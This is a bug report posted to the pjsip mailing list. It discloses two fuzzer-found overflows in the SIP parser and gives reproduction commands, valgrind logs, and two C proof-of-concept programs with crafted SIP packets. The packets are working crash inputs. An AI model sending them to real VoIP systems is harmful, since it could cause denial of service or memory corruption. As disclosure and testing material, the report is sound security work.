Dear all — Please find attached two sample programs that parse a SIP message using pjsip_parse_msg. Both programs cause a stack-buffer overflow. # Version trunk # How to reproduce pjsip_multipart_parse overflow: $ clang -o out multipart-parse-overflow.c pjsip/lib/libpjsip-x86_64-unknown-linux-gnu.a pjlib-util/lib/libpjlib-util-x86_64-unknown-linux-gnu.a pjlib/lib/libpj-x86_64-unknown-linux-gnu.a -Ipjlib/include/ -Ipjlib-util/include/ -Ipjsip/include -lpthread -lm -luuid $ valgrind ./out The resulting valgrind output is attached. # How to reproduce pj_scan_get_quotes overflow: $ clang -o out pj-scan-get-quotes-overflow.c pjsip/lib/libpjsip-x86_64-unknown-linux-gnu.a pjlib-util/lib/libpjlib-util-x86_64-unknown-linux-gnu.a pjlib/lib/libpj-x86_64-unknown-linux-gnu.a -Ipjlib/include/ -Ipjlib-util/include/ -Ipjsip/include -lpthread -lm -luuid $ valgrind ./out The resulting valgrind output is attached. The issues have been found with afl-fuzz in ASAN mode. Cheers -Stephan Zeisberg
==32732== Memcheck, a memory error detector ==32732== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al. ==32732== Using Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info ==32732== Command: ./out ==32732== 17:02:09.308 os_core_unix.c !pjlib 2.7-svn for POSIX initialized 17:02:09.347 sip_endpoint.c Creating endpoint instance... 17:02:09.394 pjlib select() I/O Queue created (0x59a6dd0) 17:02:09.396 sip_endpoint.c Module "mod-msg-print" registered 17:02:09.400 sip_transport.c Transport manager created. ==32732== Conditional jump or move depends on uninitialised value(s) ==32732== at 0x419029: pj_scan_get_quotes (in /tmp/out) ==32732== by 0x418F93: pj_scan_get_quote (in /tmp/out) ==32732== by 0x405E16: int_parse_name_addr (in /tmp/out) ==32732== by 0x403CB6: int_parse_uri_or_name_addr (in /tmp/out) ==32732== by 0x405CF0: parse_hdr_fromto (in /tmp/out) ==32732== by 0x405911: parse_hdr_to (in /tmp/out) ==32732== by 0x403604: int_parse_msg (in /tmp/out) ==32732== by 0x4032F3: pjsip_parse_msg (in /tmp/out) ==32732== by 0x40259E: main (in /tmp/out) ==32732== ==32732== Conditional jump or move depends on uninitialised value(s) ==32732== at 0x41906D: pj_scan_get_quotes (in /tmp/out) ==32732== by 0x418F93: pj_scan_get_quote (in /tmp/out) ==32732== by 0x405E16: int_parse_name_addr (in /tmp/out) ==32732== by 0x403CB6: int_parse_uri_or_name_addr (in /tmp/out) ==32732== by 0x405CF0: parse_hdr_fromto (in /tmp/out) ==32732== by 0x405911: parse_hdr_to (in /tmp/out) ==32732== by 0x403604: int_parse_msg (in /tmp/out) ==32732== by 0x4032F3: pjsip_parse_msg (in /tmp/out) ==32732== by 0x40259E: main (in /tmp/out) ==32732== ==32732== ==32732== HEAP SUMMARY: ==32732== in use at exit: 77,920 bytes in 12 blocks ==32732== total heap usage: 21 allocs, 9 frees, 85,204 bytes allocated ==32732== ==32732== LEAK SUMMARY: ==32732== definitely lost: 0 bytes in 0 blocks ==32732== indirectly lost: 0 bytes in 0 blocks ==32732== possibly lost: 0 bytes in 0 blocks ==32732== still reachable: 77,920 bytes in 12 blocks ==32732== suppressed: 0 bytes in 0 blocks ==32732== Rerun with --leak-check=full to see details of leaked memory ==32732== ==32732== For counts of detected and suppressed errors, rerun with: -v ==32732== Use --track-origins=yes to see where uninitialised values come from ==32732== ERROR SUMMARY: 2 errors from 2 contexts (suppressed: 0 from 0)
==32532== Memcheck, a memory error detector ==32532== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al. ==32532== Using Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info ==32532== Command: ./out ==32532== ==32532== Conditional jump or move depends on uninitialised value(s) ==32532== at 0x40DA05: pjsip_multipart_parse (in /tmp/out) ==32532== by 0x403873: int_parse_msg (in /tmp/out) ==32532== by 0x4032F3: pjsip_parse_msg (in /tmp/out) ==32532== by 0x40259E: main (in /tmp/out) ==32532== ==32532== Use of uninitialised value of size 8 ==32532== at 0x40DA6E: pjsip_multipart_parse (in /tmp/out) ==32532== by 0x403873: int_parse_msg (in /tmp/out) ==32532== by 0x4032F3: pjsip_parse_msg (in /tmp/out) ==32532== by 0x40259E: main (in /tmp/out) ==32532== ==32532== Conditional jump or move depends on uninitialised value(s) ==32532== at 0x40DA71: pjsip_multipart_parse (in /tmp/out) ==32532== by 0x403873: int_parse_msg (in /tmp/out) ==32532== by 0x4032F3: pjsip_parse_msg (in /tmp/out) ==32532== by 0x40259E: main (in /tmp/out) ==32532== ==32532== ==32532== HEAP SUMMARY: ==32532== in use at exit: 80,320 bytes in 15 blocks ==32532== total heap usage: 24 allocs, 9 frees, 90,676 bytes allocated ==32532== ==32532== LEAK SUMMARY: ==32532== definitely lost: 0 bytes in 0 blocks ==32532== indirectly lost: 0 bytes in 0 blocks ==32532== possibly lost: 0 bytes in 0 blocks ==32532== still reachable: 80,320 bytes in 15 blocks ==32532== suppressed: 0 bytes in 0 blocks ==32532== Rerun with --leak-check=full to see details of leaked memory ==32532== ==32532== For counts of detected and suppressed errors, rerun with: -v ==32532== Use --track-origins=yes to see where uninitialised values come from ==32532== ERROR SUMMARY: 3 errors from 3 contexts (suppressed: 0 from 0)
#include <stdio.h> #include <stdint.h> #include <unistd.h> #include <pjlib.h> #include <pjlib-util.h> #include <pjsip.h> pj_caching_pool caching_pool; pjsip_endpoint *endpt; int main(void) { pj_pool_t *pool; pj_size_t msg_size; pj_status_t rc; pjsip_parser_err_report err_list; rc = pj_init(); pj_list_init(&err_list); pj_caching_pool_init( &caching_pool, &pj_pool_factory_default_policy, (2*1024*1024) ); rc = pjsip_endpt_create(&caching_pool.factory, "endpt", &endpt); if (rc != PJ_SUCCESS) { pj_caching_pool_destroy(&caching_pool); return rc; } pool = pjsip_endpt_create_pool(endpt, NULL, 800, 800); char packet [] ="\x52\x45\x47\x49\x53\x54\x45\x52\x20\x73\x69\x70\x3A\x31\x39\x32" "\x32\x20\x53\x49\x50\x2F\x32\x2E\x30\x0D\x0A\x56\x69\x61\x3A\x20" "\x53\x49\x50\x2F\x32\x2E\x30\x2F\x55\x44\x50\x20\x31\x39\x32\x2E" "\x31\x36\x38\x2E\x31\x30\x2E\x34\x31\x3A\x31\x33\x34\x33\x34\x3B" "\x62\x72\x61\x6E\x63\x68\x3D\x7A\x2D\x2D\x2D\x64\x38\x37\x35\x34" "\x7A\x2D\x3B\x72\x70\x6F\x72\x74\x0D\x0A\x4D\x61\x78\x2D\x46\x6F" "\x72\x77\x61\x72\x64\x73\x3A\x20\x37\x30\x0D\x0A\x45\x78\x70\x69" "\x72\x65\x73\x3A\x20\x33\x36\x30\x30\x0D\x0A\x41\x63\x63\x65\x70" "\x74\x3A\x20\x74\x65\x78\x74\x2F\x68\x74\x6D\x6C\x2C\x20\x61\x70" "\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x68\x74\x6D\x6C\x2B" "\x78\x6D\x6C\x2C\x20\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E" "\x2F\x78\x6D\x6C\x3B\x71\x3D\x30\x2E\x39\x2C\x20\x2A\x2F\x2A\x3B" "\x71\x3D\x30\x2E\x38\x0D\x0A\x4D\x69\x6E\x2D\x45\x78\x70\x69\x72" "\x65\x73\x3A\x20\x36\x30\x0D\x0A\x43\x6F\x6E\x74\x65\x6E\x74\x2D" "\x4C\x65\x6E\x67\x74\x68\x3A\x20\x36\x38\x31\x33\x37\x0D\x0A\x43" "\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65\x3A\x20\x6D\x75\x6C" "\x74\x69\x70\x61\x72\x74\x2F\x66\x6F\x72\x6D\x2D\x64\x61\x74\x61" "\x3B\x20\x54\x6F\x75\x6E\x64\x61\x72\x79\x3D\x2D\x2D\x2D\x2D\x2D" "\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D" "\x2D\x2D\x2D\x2D\x2D\x2D\x39\x37\x34\x37\x36\x37\x32\x39\x39\x38" "\x35\x32\x34\x39\x38\x39\x32\x39\x35\x33\x31\x36\x31\x30\x35\x37" "\x35\x0D\x0A\x0D\x0A\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D" "\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74" "\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74\x74"; pjsip_parse_msg(pool, packet, sizeof(packet), &err_list); return 0; }
#include <stdio.h> #include <stdint.h> #include <unistd.h> #include <pjlib.h> #include <pjlib-util.h> #include <pjsip.h> pj_caching_pool caching_pool; pjsip_endpoint *endpt; int main(void) { pj_pool_t *pool; pj_size_t msg_size; pj_status_t rc; pjsip_parser_err_report err_list; rc = pj_init(); pj_list_init(&err_list); pj_caching_pool_init( &caching_pool, &pj_pool_factory_default_policy, (2*1024*1024) ); rc = pjsip_endpt_create(&caching_pool.factory, "endpt", &endpt); if (rc != PJ_SUCCESS) { pj_caching_pool_destroy(&caching_pool); return rc; } pool = pjsip_endpt_create_pool(endpt, NULL, 800, 800); char packet [] ="\x52\x45\x47\x49\x53\x54\x45\x52\x20\x73\x69\x70\x3A\x31\x39\x32" "\x32\x20\x53\x49\x50\x2F\x32\x2E\x30\x0D\x0A\x56\x69\x61\x3A\x20" "\x53\x49\x50\x2F\x32\x2E\x30\x2F\x55\x44\x50\x20\x31\x3A\x31\x33" "\x34\x33\x34\x3B\x62\x72\x61\x6E\x63\x68\x3D\x7A\x7A\x2D\x3B\x72" "\x70\x6F\x72\x74\x0D\x0A\x4D\x61\x78\x2D\x46\x6F\x72\x77\x61\x72" "\x64\x73\x3A\x20\x37\x30\x0D\x0A\x43\x49\x6E\x74\x61\x63\x74\x3A" "\x30\x30\x39\x40\x31\x3A\x31\x33\x38\x64\x35\x66\x36\x39\x3E\x0D" "\x0A\x54\x6F\x3A\x20\x22\x50\x68\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x1D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x2D\x2D\x2D\x2D\x3B" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0C\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0C" "\xFB\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x11\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\xFA\x0C\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x45\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x03\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\xFF\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x1D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x00\x10\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x20" "\x00\x00\x00\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x2D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D" "\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D\x0D"; pjsip_parse_msg(pool, packet, sizeof(packet), &err_list); return 0; }
_______________________________________________ Visit our blog: http://blog.pjsip.org pjsip mailing list pjsip@xxxxxxxxxxxxxxx http://lists.pjsip.org/mailman/listinfo/pjsip_lists.pjsip.org